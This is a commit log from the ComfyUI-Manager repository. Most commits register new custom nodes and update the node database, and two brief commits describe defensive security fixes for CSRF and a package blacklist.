Python Linting / Run Ruff (push) Has been cancelled
2026-05-14 04:21:55 +09:00
ketle-manandGitHub 299976330f Merge branch 'Comfy-Org:main' into main 2026-05-12 13:04:58 +09:00
Dr.Lt.Data 3b2f6fd149 fix(custom-node-list): move locale-pending entries (ComfyUI-VolcEngine, comfyui-image-feeder) from default to dev channel pending English localization
Python Linting / Run Ruff (push) Has been cancelled
2026-05-12 01:20:18 +09:00
Pmarmotte ea3dcde0ca Add Comfyui-Pick_Any custom node 2026-05-11 14:37:29 +02:00
Dr.Lt.Data c2a33d2efc fix(custom-node-list): place ComfyUI Image Feeder entry next to existing ketle-man author block 2026-05-11 20:40:26 +09:00
Dr.Lt.Data d9ac595785 update DB 2026-05-11 20:39:43 +09:00
Dr.Lt.Data b15c12ca4e update DB 2026-05-11 20:39:13 +09:00
Dr.Lt.Data dc0f66f042 update DB 2026-05-11 20:38:32 +09:00
Dr.Lt.Data 3d1210aa52 fix(custom-node-list): place ComfyUI-VolcEngine entry after last git-clone block 2026-05-11 20:37:52 +09:00
Dr.Lt.DataandGitHub d16ba306be Merge pull request #2801 from gzsiang/main
Add ComfyUI-VolcEngine to custom node list
2026-05-11 20:37:12 +09:00
Dr.Lt.Data 1e409cdd11 fix(custom-node-list): place ComfyUI-MaskToTransparent entry next to existing nekodificador author block 2026-05-11 20:36:57 +09:00
Dr.Lt.DataandGitHub 40e27f8eb4 Merge pull request #2837 from Warningning/main
Add ComfyUI-MaskToTransparent node entry
2026-05-11 20:36:09 +09:00
Dr.Lt.Data 6cc7f3106b fix(custom-node-list): place ComfyUI-BodyRatioMapper entry after last git-clone block 2026-05-11 20:35:19 +09:00
Dr.Lt.DataandGitHub e7e36be084 Merge pull request #2864 from wuwukaka/main
Add ComfyUI-BodyRatioMapper custom node
2026-05-11 20:34:28 +09:00
Dr.Lt.Data 6c9dd4be42 fix(custom-node-list): place ComfyUI-DCW entry after last git-clone block 2026-05-11 20:34:18 +09:00
Dr.Lt.DataandGitHub 8f4e7b089b Merge pull request #2830 from namemechan/main
Add: ComfyUI-DCW (SNR-t bias correction)
2026-05-11 20:33:37 +09:00
Dr.Lt.Data 02dcb1dd60 fix(custom-node-list): correct oath-studio files[0] to repo URL and place Claude CLI entry after last git-clone block 2026-05-11 20:32:34 +09:00
Dr.Lt.DataandGitHub c0d5b4e720 Merge pull request #2813 from RandyHaylor/add-comfyui-claude-cli-vision-text-node
Add ComfyUI Claude CLI (Vision+Text) node
2026-05-11 20:30:07 +09:00
Dr.Lt.Data 72db8aed73 fix(custom-node-list): place oath-studio entries after last git-clone block 2026-05-11 20:29:56 +09:00
Dr.Lt.DataandGitHub 0802a88354 Merge pull request #2725 from wes-kay/adding-nodes
Adding nodes
2026-05-11 20:28:12 +09:00
Dr.Lt.Data 2b7aa428b0 update DB 2026-05-11 20:14:16 +09:00
Dr.Lt.Data d61ef2eaba Merge branch 'main' of github.com:Comfy-Org/ComfyUI-Manager 2026-05-11 20:13:18 +09:00
Dr.Lt.Data fcc429e686 update DB 2026-05-11 20:13:11 +09:00
Dr.Lt.DataandGitHub d255e36ab6 Merge pull request #2862 from machinepainting/add-machinepainting-pack
Add MachinePainting Nodes to custom-node-list.json
2026-05-11 20:12:58 +09:00
Dr.Lt.DataandGitHub 3e5c680f38 Merge pull request #2856 from SOLRICKS/main
Update SOLRICKS node listing
2026-05-11 20:07:31 +09:00
Dr.Lt.Data cba745327f update DB 2026-05-11 20:03:01 +09:00
Dr.Lt.Data 8079db221d update DB
Python Linting / Run Ruff (push) Waiting to run
2026-05-11 04:18:53 +09:00
Dr.Lt.Data 5727dc7c55 update DB 2026-05-11 03:59:36 +09:00
Dr.Lt.Data c06ff81821 fix(custom-node-list): restore xss + Image2Halftone entries and place comfymodeldownloader entry after last git-clone block 2026-05-11 03:58:07 +09:00
Dr.Lt.DataandGitHub 10d48c2670 Merge pull request #2866 from thomaskippster/main
Add ComfyUI Model Downloader Bridge to custom-node-list.json
2026-05-11 03:56:43 +09:00
Dr.Lt.Data b824811bc7 fix(custom-node-list): place BizyAirPlus entry after last git-clone block 2026-05-11 03:56:29 +09:00
Dr.Lt.DataandGitHub f9603624a9 Merge pull request #2803 from hahalfx/add-bizyairplus
Update custom-node-list.json for adding new custom-node BizyAirPlus
2026-05-11 03:55:55 +09:00
Dr.Lt.Data cb17d1c848 fix(custom-node-list): place ComfyUI-Styler-Pipeline entry next to existing andreszs author block 2026-05-11 03:55:40 +09:00
Dr.Lt.DataandGitHub 244421458d Merge pull request #2800 from andreszs/add-styler-pipeline
Add ComfyUI-Styler-Pipeline to custom-node-list.json
2026-05-11 03:55:10 +09:00
Dr.Lt.Data 49218fdb57 fix(custom-node-list): place OpenPose-Studio + Ultralytics-Studio entries next to existing andreszs author block 2026-05-11 03:54:53 +09:00
Dr.Lt.DataandGitHub df1505efda Merge pull request #2798 from andreszs/add-openpose-ultralytics-studio
Add ComfyUI-OpenPose-Studio and ComfyUI-Ultralytics-Studio to custom-node-list.json
2026-05-11 03:54:10 +09:00
Dr.Lt.Data 96ae4e0c9f fix(custom-node-list): place ComfyUI-AnimaTool entry next to existing Moeblack author block 2026-05-11 03:53:55 +09:00
Dr.Lt.DataandGitHub f94902966a Merge pull request #2573 from Moeblack/add-comfyui-animatool
Add ComfyUI-AnimaTool
2026-05-11 03:53:07 +09:00
Dr.Lt.Data b4d5d972de update DB 2026-05-11 03:31:37 +09:00
Dr.Lt.Data 3d7f7d2439 fix(custom-node-list): place ComfyUI-MotifVideo2B entry after last git-clone block 2026-05-11 03:27:55 +09:00
Dr.Lt.DataandGitHub 2ae10236b9 Merge pull request #2829 from MotifTechnologies/feat/add-motifvideo2b
Add ComfyUI-MotifVideo2B to custom-node-list.json
2026-05-11 03:27:22 +09:00
Dr.Lt.Data 6ffead7ba9 fix(custom-node-list): place ComfyUI-Pixaroma entry after last git-clone block 2026-05-11 03:27:08 +09:00
Dr.Lt.DataandGitHub 9a17c96da6 Merge pull request #2821 from pixaroma/add-pixaroma
Add ComfyUI-Pixaroma to custom-node-list.json
2026-05-11 03:26:36 +09:00
Dr.Lt.Data 39dfa902d5 fix(custom-node-list): place Kai Civitai LoRA Loader entry after last git-clone block 2026-05-11 03:26:23 +09:00
Dr.Lt.DataandGitHub e4fadee042 Merge pull request #2814 from kenyonxu/main
Add Kai Civitai LoRA Loader to custom node list
2026-05-11 03:25:49 +09:00
Dr.Lt.Data d9f1ff34a7 fix(custom-node-list): place ComfyUI-SBTools entry after last git-clone block 2026-05-11 03:25:34 +09:00
Dr.Lt.DataandGitHub 9aa2ca09b8 Merge pull request #2806 from Amatsukast/add-sbtools
Add ComfyUI-SBTools
2026-05-11 03:25:01 +09:00
Dr.Lt.Data 81605d31db fix(custom-node-list): remove trailing comma after last entry 2026-05-11 03:24:39 +09:00
Dr.Lt.Data bdd6111d9d fix(custom-node-list): place Z-Fuse entry after last git-clone block 2026-05-11 03:24:08 +09:00
Dr.Lt.DataandGitHub a4b6a589d7 Merge pull request #2440 from destinyfaux/main
Z-Fuse
2026-05-11 03:23:30 +09:00
Dr.Lt.Data 611532491f fix(custom-node-list): place ComfyUI-Workflow-Studio entry next to existing ketle-man author block
Python Linting / Run Ruff (push) Waiting to run
2026-05-11 01:33:43 +09:00
Dr.Lt.DataandGitHub ed8baf3e79 Merge pull request #2706 from ketle-man/add-workflow-studio
Add ComfyUI-Workflow-Studio
2026-05-11 01:33:09 +09:00
Dr.Lt.Data 111e4d38f4 fix(custom-node-list): place ComfyUI-PulseOfMotion entry after last git-clone block 2026-05-11 01:32:43 +09:00
Dr.Lt.DataandGitHub e6693e0b9f Merge pull request #2742 from akashzeno/add-pulse-of-motion
Add ComfyUI-PulseOfMotion to custom node list
2026-05-11 01:32:04 +09:00
Dr.Lt.Data 0c8cdf9aa8 update DB 2026-05-11 01:15:02 +09:00
Dr.Lt.Data 8d2d37f1f7 fix(custom-node-list): place Happyhorse-Wrapper + Account-Manager entries next to existing magicwang1111 author block 2026-05-11 01:03:31 +09:00
Dr.Lt.DataandGitHub bc334c7aa5 Merge pull request #2835 from magicwang1111/codex/register-magicwang-nodes
add  ComfyUI-Happyhorse-Wrapper and ComfyUI-Account-Manager
2026-05-11 01:01:56 +09:00
Dr.Lt.Data 33d4b29422 update DB 2026-05-11 00:52:13 +09:00
Dr.Lt.Data 20d352c2b5 update DB 2026-05-11 00:16:15 +09:00
Thomas 117227e2fc Add ComfyUI Model Downloader Bridge to custom-node-list.json 2026-05-09 20:53:50 +02:00
Dr.Lt.Data 7a8fc44f90 update DB
Python Linting / Run Ruff (push) Has been cancelled
2026-05-08 19:07:12 +09:00
wuwukasi 49b038bf69 Add ComfyUI-BodyRatioMapper custom node 2026-05-08 14:42:47 +08:00
MachinePainting 1eda1d65ad Add MachinePainting Nodes to custom-node-list.json 2026-05-07 21:18:28 -07:00
pixaroma 10ff7d091c Update ComfyUI-Pixaroma description to current feature set 2026-05-06 06:53:21 +03:00
Mustafa SahinandGitHub 282025ed0e Remove editor settings from PR 2026-05-06 00:56:09 +03:00
Mustafa SahinandGitHub 2bcc052700 Update SOLRICKS node listing 2026-05-06 00:46:04 +03:00
Mustafa SahinandGitHub 30454742b3 Update MSYNTRIX node listing 2026-05-05 14:12:08 +03:00
ketle-manandGitHub 5162e1d601 Merge branch 'Comfy-Org:main' into main 2026-05-02 21:23:26 +09:00
Dr.Lt.Data 8d5c12037f fix(custom-node-list): place DemonAlone-StyleSelector entry next to existing DemonAlone author block
Python Linting / Run Ruff (push) Has been cancelled
2026-05-01 05:01:14 +09:00
Dr.Lt.DataandGitHub d370403e2d Merge pull request #2827 from DemonAlone/Styler
Add DemonAlone-StyleSelector-ComfyUI  to custom-node-list.json
2026-05-01 05:00:39 +09:00
Dr.Lt.Data e67e35795e fix(custom-node-list): place JH-PixelPro entry after last git-clone block 2026-05-01 05:00:29 +09:00
Dr.Lt.DataandGitHub ccf6d98457 Merge pull request #2809 from jetthuangai/add-comfyui-jh-pixelpro
Add ComfyUI-JH-PixelPro
2026-05-01 04:59:51 +09:00
Dr.Lt.Data 113324728e fix(custom-node-list): place Emiewn-Nodes entry after last git-clone block 2026-05-01 04:59:31 +09:00
Dr.Lt.DataandGitHub f2a3d39e26 Merge pull request #2805 from emiewnn/emiewnnodes
Add ComfyUI-Emiewn-Nodes
2026-05-01 04:58:21 +09:00
Dr.Lt.Data ec72d983ad update DB 2026-05-01 04:45:57 +09:00
Dr.Lt.DataandGitHub a3aabfd72c Merge pull request #2811 from Kyreo/main
Add ComfyUI-CharacterPromptBuffer by Kyreo
2026-05-01 04:42:19 +09:00
Dr.Lt.Data 03272b1f70 update DB
Python Linting / Run Ruff (push) Waiting to run
2026-04-30 02:24:55 +09:00
WarningningandGitHub 9686bae08a Add ComfyUI-MaskToTransparent node entry
A simple mask-based transparency tool for ComfyUI. Turns black mask areas into fully transparent pixels while preserving white areas, with edge feathering support. Perfect for object extraction after semantic segmentation with SAM 3.1 models.

 Features
 Automatically makes black mask areas transparent, preserves original image in white areas
 Customizable Gaussian edge feathering to remove jagged edges
 Supports preserving or overwriting original alpha channel
 Fully compatible with RGB & RGBA images
 Ideal for extracting segmented objects after using SAM 3.1 models, removing unwanted background pixels
2026-04-29 15:38:34 +08:00
magicwang1111 9b8f651061 Register magicwang1111 custom nodes 2026-04-28 18:11:01 +08:00
Dr.Lt.Data 66108ccdbc update DB
Python Linting / Run Ruff (push) Has been cancelled
2026-04-27 05:28:49 +09:00
namemechan d8095b527f Add: ComfyUI-DCW (SNR-t bias correction) 2026-04-26 11:55:29 +09:00
Minsu Ha 80efc5dbc0 Add ComfyUI-MotifVideo2B to custom-node-list.json 2026-04-25 11:03:17 +00:00
DemonAloneandGitHub abf9c654b3 AddDemonAlone-StyleSelector-ComfyUI
to custom-node-list.json
2026-04-24 16:24:32 +03:00
pixaroma 5656002524 Add ComfyUI-Pixaroma to custom-node-list.json 2026-04-22 09:48:32 +03:00
pixaroma 484bb2fe4c Add ComfyUI-Pixaroma to custom-node-list.json 2026-04-22 09:47:16 +03:00
wjluoxiaoandGitHub a129cc6321 style: finalize internationalization for title and description 2026-04-22 06:52:05 +08:00
Dr.Lt.DataandGitHub 491f847bbc fix(security): harden CSRF with Content-Type gate and OpenAPI sync (#2819)
Python Linting / Run Ruff (push) Has been cancelled
Defense-in-depth over GET→POST alone: reject the three CORS-safelisted
simple-form Content-Types (x-www-form-urlencoded, multipart/form-data,
text/plain) on 5 no-body POST handlers (snapshot/save,
manager/queue/{reset,start,update_comfyui}, manager/reboot) to block
<form method=POST> CSRF that bypasses method-only gating. Convert 10 pure
state-changing endpoints (fetch_updates, queue/{update_all,reset,start,
update_comfyui}, snapshot/{remove,restore,save}, comfyui_switch_version,
reboot) from GET to POST and split 5 config endpoints
(db_mode/preview_method/channel_url_list/policy/{component,update}) into
GET(read) + POST(write, JSON body). Emit the in_progress + done event pair
from the /manager/queue/install sync-enable fast-path so client UI
finalizes (previously only queue/start's empty worker done fired, leaving
item.restart unset and the Enable button visible after a successful enable).
Harden js/custom-nodes-manager.js completion path: await onQueueCompleted
with try/catch (surfaces silent turbogrid stale-item throws), replace the
{}.length == 0 no-op empty guard, set install_context before queue/install
to avoid a sync-completion race, wrap classList/updateCell in try/catch.
Resynchronize openapi.yaml with the converted routes (method → post, query
params → requestBody JSON schema, sibling post on 5 split endpoints).
Update 31 JS fetchApi call sites across 7 files; add
tests/test_csrf_content_type_helper.py covering 5 Content-Type cases via
aiohttp TestClient.

Reported-by: XlabAI Team of Tencent Xuanwu Lab
CVSS: 8.1 (AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H)
2026-04-22 05:04:07 +09:00
kenyonxu 57972a5689 Add Kai Civitai LoRA Loader to custom node list
A ComfyUI custom node that extends the built-in LoRA Loader to fetch and
display Civitai metadata including trigger words and preview images.

Features:
- Trigger words output from Civitai metadata
- Preview images with pagination and NSFW blur
- Local caching with 7-day TTL
- Concurrent request deduplication

Repository: https://github.com/kenyonxu/ComfyUI_KaiUtilities
2026-04-21 15:38:32 +08:00
Randy Haylor b71e239f70 Add ComfyUI Claude CLI (Vision+Text) node 2026-04-21 03:01:04 -04:00
Dr.Lt.Data d57c142019 update DB
Python Linting / Run Ruff (push) Waiting to run
2026-04-21 05:22:40 +09:00
gzsiang 5e475f6883 Merge upstream/main into fix-pr2801 — resolve conflicts 2026-04-20 21:43:17 +08:00
Dr.Lt.Data 6a26409bcb update DB
Python Linting / Run Ruff (push) Waiting to run
2026-04-20 02:54:48 +09:00
Kyreo bbc223a76c Add ComfyUI-CharacterPromptBuffer by Kyreo 2026-04-19 19:35:02 +02:00
Kyreo aba857a350 Revert "Add ComfyUI-CharacterPromptBuffer"
This reverts commit 74c2518894.
2026-04-19 19:31:16 +02:00
Kyreo 74c2518894 Add ComfyUI-CharacterPromptBuffer 2026-04-19 19:30:37 +02:00
jetthuangaiandGitHub 98e0098ddd Add ComfyUI-JH-PixelPro 2026-04-18 13:10:08 +07:00
Amatsukast 23da19ea90 Add ComfyUI-SBTools
Adding ComfyUI-SBTools - workflow toolkit with background removal (BiRefNet), prompt/image variable system for batch generation, and chroma key tools.
2026-04-17 21:25:55 +09:00
emiewnnandGitHub ed56212fa0 Add ComfyUI-Emiewn-Nodes 2026-04-17 02:28:20 +02:00
Dr.Lt.Data 22fc850853 update DB
Python Linting / Run Ruff (push) Has been cancelled
2026-04-17 03:08:37 +09:00
Andrés ZsögönandGitHub 15fd6dbe37 Add Lora Pipeline to Manager custom node list (#2799) 2026-04-17 03:07:54 +09:00
Dr.Lt.Data f1863994f4 update DB 2026-04-17 02:49:19 +09:00
PasuandGitHub 7c0fa1c581 Added Mayo Nodes (#2784) 2026-04-17 02:48:50 +09:00
Dr.Lt.Data dcb15d4dc9 update DB 2026-04-17 02:48:04 +09:00
诶-阿伟哥andGitHub 6be5491d9e Add ComfyUI-Prompt-Assistant custom node (#2781)
* Add ComfyUI-Prompt-Assistant custom node

* Add ComfyUI-Prompt-Assistant custom node
2026-04-17 02:47:26 +09:00
Dr.Lt.Data 1e8956f42e update DB 2026-04-17 02:46:36 +09:00
OvertliDSGitHubcopilot-swe-agent[bot] <198982749+Copilot@users.noreply.github.com>OvertliDS
d7adab215b Add Overtli Studio Suite to custom-node-list.json (#2777)
Agent-Logs-Url: https://github.com/OvertliDS/ComfyUI-Manager/sessions/f43bab28-2dc5-4853-945c-bdb891b85551

Co-authored-by: copilot-swe-agent[bot] <198982749+Copilot@users.noreply.github.com>
Co-authored-by: OvertliDS <188361908+OvertliDS@users.noreply.github.com>
2026-04-17 02:45:47 +09:00
Lei Fengxiang 6a895c7225 Update custom-node-list.json
added custom-node bizyairplus
2026-04-16 16:29:26 +08:00
gzsiang e6d2e947c3 Add ComfyUI-VolcEngine node to registry 2026-04-16 02:29:59 +08:00
Andrés Zsögön 1e8ebfe3db Add Styler Pipeline to Manager custom node list 2026-04-15 12:12:45 -03:00
Andrés Zsögön c30dd182d3 Add OpenPose Studio and Ultralytics Studio to Manager custom node list 2026-04-15 12:01:57 -03:00
Dr.Lt.Data 15ec9a901b update DB
Python Linting / Run Ruff (push) Has been cancelled
2026-04-14 00:36:37 +09:00
rookiestar28andGitHub e9fd8a3078 Add ComfyUI-RookieUI and ComfyUI-OpenClaw entries (#2786) 2026-04-14 00:33:25 +09:00
Dr.Lt.Data 980f8f58af update DB 2026-04-14 00:27:22 +09:00
9b37dcfe42 Add ComfyUI Batch Blend custom node (#2783)
Co-authored-by: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-04-14 00:26:34 +09:00
Dr.Lt.Data 2f1d02b688 update DB 2026-04-13 23:25:19 +09:00
knotttttandGitHub 685dca9749 Add ComfyUI TinyPNG node (#2778) 2026-04-13 23:24:39 +09:00
Dr.Lt.Data 03b54019ff update DB 2026-04-13 23:22:01 +09:00
92a47f59cf Register ComfyUI-Nanobanana (#2779)
Co-authored-by: magicwang1111 <magicwang1111@users.noreply.github.com>
2026-04-13 23:20:25 +09:00
Dr.Lt.Data bae0ac11c5 update DB 2026-04-13 23:00:17 +09:00
Juan TreminioandGitHub f016eadd64 Add ComfyUI-ConnectTheDots (#2775) 2026-04-13 22:59:32 +09:00
Dr.Lt.Data 0f13355b08 update DB 2026-04-13 22:58:48 +09:00
magictutandGitHub bf5efd72ff Add Comfyui-Kling-Wrapper to custom node list (#2773) 2026-04-13 22:57:14 +09:00
Dr.Lt.Data 0fc4649d23 update DB 2026-04-13 22:54:30 +09:00
artyclawandGitHub 3842e70fd9 Add artyclaw-comfy nodes (#2765) 2026-04-13 22:53:17 +09:00
Dr.Lt.Data 0952dd1686 update DB 2026-04-13 21:39:00 +09:00
Dr.Lt.Data a7fb42be01 update DB 2026-04-13 21:23:44 +09:00
Guillaume-127andGitHub ee0f446ad0 Add Post Processing PRO (#2774) 2026-04-13 21:22:17 +09:00
Dr.Lt.Data b220733094 update DB
Python Linting / Run Ruff (push) Waiting to run
2026-04-13 12:58:42 +09:00
Dr.Lt.Data 5079365034 update DB 2026-04-13 12:55:57 +09:00
Yang ZhangandGitHub 454f24145e Add ComfyUI-LLM-Prompt-Tagger to custom-node-list.json (#2771) 2026-04-13 12:55:16 +09:00
Dr.Lt.Data 9d838d302f update DB 2026-04-13 12:54:23 +09:00
MSXYZandGitHub 928cc80088 Added MSXYZ custom node (#2770) 2026-04-13 12:53:28 +09:00
Dr.Lt.Data a54ab14c37 update DB
Python Linting / Run Ruff (push) Waiting to run
2026-04-13 12:48:45 +09:00
zaochuan5854andGitHub ba5aca7122 Add ComfyUI-TensorRT-Reforge (#2767) 2026-04-13 12:47:56 +09:00
Dr.Lt.Data 715c6c2426 update DB 2026-04-13 12:46:54 +09:00
e51a83fc8c Add FLUXNATION fused spike attention CUDA kernel for FLUX.1 (#2766)
Co-authored-by: ULT7RA <ULT7RA@users.noreply.github.com>
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
2026-04-13 12:46:16 +09:00
wjluoxiaoandGitHub 1fc7b34f4a Add files via upload 2026-04-13 03:35:02 +08:00
wjluoxiaoandGitHub ba33ebe2dc Delete custom-node-list.json 2026-04-13 03:34:43 +08:00
wjluoxiaoandGitHub d98ca19ef5 Add files via upload 2026-04-13 03:32:02 +08:00
MSXYZ a9f7a6167e Added MSXYZ custom node 2026-04-07 11:19:55 +03:00
Dr.Lt.Data bbafbb1290 update DB
Python Linting / Run Ruff (push) Has been cancelled
2026-04-06 01:55:26 +09:00
f08075c04d Add CRT nodes to default channel and fix CRT-Nodes reference (#2759)
- Add CRT-HeartMuLa, ComfyUI-OmniVoice_CRT, ComfyUI-QWEN3_TTS
- Fix CRT-Nodes: restore author/title fields, update plugcrypt -> PGCRT

Co-authored-by: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-04-06 01:49:51 +09:00
Jeremie LouvaertandGitHub 246d715838 Add 6 jeremieLouvaert custom node packs (#2747)
Adding the following node packs to the custom node list:

- ComfyUI-Darkroom: 29-node professional color grading & film emulation suite
- ComfyUI-Gemini-Direct: Direct Google Gemini image generation
- ComfyUI-API-Optimizer: API cost tracking and caching
- ComfyUI-Gemini-Conversation-Canvas: Multi-turn conversational image editing
- comfyui-wireless-link-simple: Wireless data transmission nodes
- ComfyUI-Higgsfield-Direct: Direct Higgsfield API integration

All repos are public, have proper __init__.py with NODE_CLASS_MAPPINGS,
and are published on the Comfy Registry under @akurate.
2026-04-06 01:45:55 +09:00
Dr.Lt.Data 2a55999552 update DB
Python Linting / Run Ruff (push) Waiting to run
2026-04-06 01:04:03 +09:00
Atsushi NonakaandGitHub c7da60732e Add ComfyUI-MediaPreview custom node (#2749)
* Update custom-node-list.json

* Add files via upload

* Delete custom-node-list.json

* Rename custom-node-list.json 3.txt to custom-node-list.json

* Delete custom-node-list.json

* Add files via upload

* Delete custom-node-list.json

* Add files via upload
2026-04-06 01:03:01 +09:00
Dr.Lt.Data d0e3336804 update DB 2026-04-06 01:02:26 +09:00
zinigo-creationsandGitHub 49f294bac5 Add Prompt Builder custom node (#2755) 2026-04-06 00:56:43 +09:00
Dr.Lt.Data 347b13b01a update DB 2026-04-06 00:56:07 +09:00
07c0155929 Added DaSiWa Nodes (#2756)
Co-authored-by: Darksidewalker <you@example.com>
2026-04-06 00:55:31 +09:00
InolandandGitHub 7a0beec47e Update custom-node-list.json (#2760) 2026-04-06 00:52:09 +09:00
Dr.Lt.Data 32c5f26838 update DB 2026-04-06 00:46:36 +09:00
Patrick KasteelandGitHub 0b7669a283 Add ComfyUI-Image-to-Prompt-Abacus.AI- custom node entry (kplkasteel) (#2764) 2026-04-06 00:45:02 +09:00
Dr.Lt.Data a1ade259ef update DB 2026-04-06 00:39:20 +09:00
Dr.Lt.Data 3615af1560 update DB
Python Linting / Run Ruff (push) Has been cancelled
2026-04-01 02:24:34 +09:00
Dr.Lt.Data 8aca0751d1 update DB
Python Linting / Run Ruff (push) Waiting to run
2026-03-31 08:50:38 +09:00
Dr.Lt.Data c8a50de72c update DB
Python Linting / Run Ruff (push) Waiting to run
2026-03-31 03:37:20 +09:00
Allan.MandGitHub cbf8068515 Add ComfyUI-XPUSYS-Monitor (#2701) 2026-03-31 03:36:25 +09:00
Dr.Lt.Data 0e0b371417 update DB 2026-03-31 01:45:47 +09:00
4669d4bca9 feat: add ComfyUI VRM Pose Editor 3D (#2744)
* Add ComfyUI 2D Pose Editor node

* feat: add ComfyUI VRM Pose Editor 3D

Interactive 3D pose editor node supporting VRM/GLB/GLTF models.
All Three.js dependencies are bundled locally (no CDN required).

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>

---------

Co-authored-by: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-03-31 01:44:48 +09:00
Dr.Lt.Data 59ed61722b update DB 2026-03-31 01:43:48 +09:00
cozdx1andGitHub 8c14349f97 Add ComfyUI-Dynamic-Sigmas (#2743) 2026-03-31 01:42:21 +09:00
Dr.Lt.Data 14352e2c00 update DB
Python Linting / Run Ruff (push) Waiting to run
2026-03-30 04:32:13 +09:00
Dr.Lt.Data 5a4e346f06 update DB 2026-03-30 04:11:38 +09:00
152bd7b4f7 Add Vega Flow V8.9 — Temporal Stabilisation node (#2739)
* Add Vega Flow V8.9 Temporal Stabilisation node

* Add Vega Flow V8.9 Temporal Stabilisation node

---------

Co-authored-by: Vega Flow <vegaflowltd@users.noreply.github.com>
2026-03-30 04:10:44 +09:00
Dr.Lt.Data d966c4ea67 update DB 2026-03-30 04:03:07 +09:00
846fddccb9 Add ComfyUI-MVNT: AI dance choreography from music (#2723)
Adds MVNT (https://github.com/mvnt-app/ComfyUI-MVNT) to the custom
node list. MVNT generates full-body dance motion from audio using a
diffusion model trained with 100+ professional choreographers.

Nodes: MVNT Generate Dance, MVNT Generate Character, MVNT Export Video,
MVNT Preview BVH, MVNT List Styles, MVNT Estimate Cost, MVNT Load Motion.

Published on Comfy Registry as comfyui-mvnt (publisher: mvnt).

Made-with: Cursor

Co-authored-by: Your Name <your.email@example.com>
2026-03-30 04:02:26 +09:00
Dr.Lt.Data d69dc99d84 update DB 2026-03-30 04:01:18 +09:00
StiboandGitHub 12e6f66d92 Add comfyui-nifty-nodes (#2722) 2026-03-30 04:00:16 +09:00
Dr.Lt.Data 1d19a74ca0 update DB 2026-03-30 03:58:07 +09:00
HalfikChanandGitHub 37cac20c4e Add ComfyUI-Prompt-DB (#2720) 2026-03-30 03:57:19 +09:00
Dr.Lt.Data ad9e73837f update DB 2026-03-30 03:55:12 +09:00
wrabitandGitHub 00e81bb353 Add ComfyUI-ImgSlider (#2715)
* Add ComfyUI-ImgSlider node

* Add ComfyUI-ImgSlider node

* Update description
2026-03-30 03:54:34 +09:00
Dr.Lt.Data 3f5eb4dabb update DB 2026-03-30 03:53:25 +09:00
Krishnan RamachandranandGitHub 5462fe7acc Add ComfyUI Pulse MeshAudit custom node for 3D mesh auditing (#2714) 2026-03-30 03:52:24 +09:00
Akash Chowdhury 7427b1e3d7 Add ComfyUI-PulseOfMotion to custom node list 2026-03-30 00:05:34 +05:30
Dr.Lt.Data 8d750aac72 update DB 2026-03-30 03:26:13 +09:00
NRDXandGitHub d85f035662 Add ComfyUI-BFSNodes (#2713) 2026-03-30 03:25:00 +09:00
Dr.Lt.DataandGitHub 2007eab26d fix(security): add litellm supply chain attack detection and improve pip matching (#2731)
Python Linting / Run Ruff (push) Has been cancelled
- Add litellm==1.82.7 and litellm==1.82.8 to blacklist (PYSEC-2026-2)
- Add ultralytics==8.3.42 to blacklist
- Replace substring matching with exact version set matching
- Remove early break to detect multiple malicious packages
2026-03-26 04:17:46 +09:00
Dr.Lt.Data d870273d4b update DB
Python Linting / Run Ruff (push) Waiting to run
2026-03-26 03:42:39 +09:00
Dr.Lt.Data 448c6b2aab update DB
Python Linting / Run Ruff (push) Has been cancelled
2026-03-23 23:23:32 +09:00
jimpi-devandGitHub b30b7eaa25 add workflowuiplugin to custom node list (#2689) 2026-03-23 23:21:56 +09:00
Dr.Lt.Data 9074ab900d update DB
Python Linting / Run Ruff (push) Waiting to run
2026-03-23 02:43:09 +09:00
dogodg3838andGitHub 6e453a697f Upload large custom-node-list.json (#2698) 2026-03-23 02:40:26 +09:00
Dr.Lt.Data 90e05cd4ef update DB 2026-03-23 02:38:42 +09:00
Jean KássioandGitHub 962e2edb44 Added ComfyUI-AceStep_SFT (#2697) 2026-03-23 02:38:03 +09:00
Dr.Lt.Data 0d15786d5b update DB 2026-03-23 02:29:56 +09:00
CownekoandGitHub fe5663a60f Add CWK Prompt Composer node (#2672) 2026-03-23 02:28:56 +09:00
Dr.Lt.Data dd58ac8b99 update DB 2026-03-23 02:23:20 +09:00
t a2aace6a23 Adding comfy vllm, and comfy lora iterator nodes to custom node list 2026-03-21 23:12:30 -06:00
ketle-man 0e9c0baef9 Add ComfyUI-Workflow-Studio to custom node list
Rebase on latest main to resolve merge conflict.
2026-03-21 12:36:19 +09:00
t b770f27099 Adding 'comfy-vllm' custom node, title update 2026-03-20 15:02:05 -06:00
t 96ffcbd0be Adding 'comfy-vllm' custom node 2026-03-20 15:00:16 -06:00
Dr.Lt.Data be5e019ec5 update DB
Python Linting / Run Ruff (push) Has been cancelled
2026-03-21 00:46:04 +09:00
ketle-manandGitHub 04e12f4b3b Merge branch 'Comfy-Org:main' into main 2026-03-18 22:13:29 +09:00
Dr.Lt.Data c94236a614 update DB
Python Linting / Run Ruff (push) Has been cancelled
2026-03-16 04:38:03 +09:00
Dr.Lt.Data e637943e72 update DB 2026-03-16 04:32:51 +09:00
6d13fd025e Add ComfyUI-ACES-IO by BISAM20 (#2676)
Co-authored-by: BISAM20 <bishoy@bisam20.com>
Co-authored-by: BISAM20 <bisam20@github.com>
2026-03-16 04:31:37 +09:00
Dr.Lt.Data 4787204733 update DB 2026-03-16 04:24:15 +09:00
Phạm HưngandGitHub 7dd05e822f New update node SDVN_Segment_Anything (#2671)
* Update custom-node-list.json | Update description for SDVN_Custom_node

Update description for SDVN_Custom_node

* Update custom-node-list.json
2026-03-16 04:23:10 +09:00
huchukatoandGitHub b1a268501d Add 3 new nodes by huchukato: RIFE-TensorRT-Auto, Upscaler-TensorRT-Auto, HuggingFace (#2670)
- ComfyUI-RIFE-TensorRT-Auto: Ultra fast frame interpolation with automatic TensorRT optimization
- ComfyUI-Upscaler-TensorRT-Auto: 2-4x faster image upscaling with TensorRT
- ComfyUI-HuggingFace: Advanced HuggingFace model downloader with search functionality

All nodes feature automatic installation, enhanced performance, and improved stability over original implementations.
2026-03-16 04:20:34 +09:00
Dr.Lt.Data 0187da4672 update DB 2026-03-16 04:17:30 +09:00
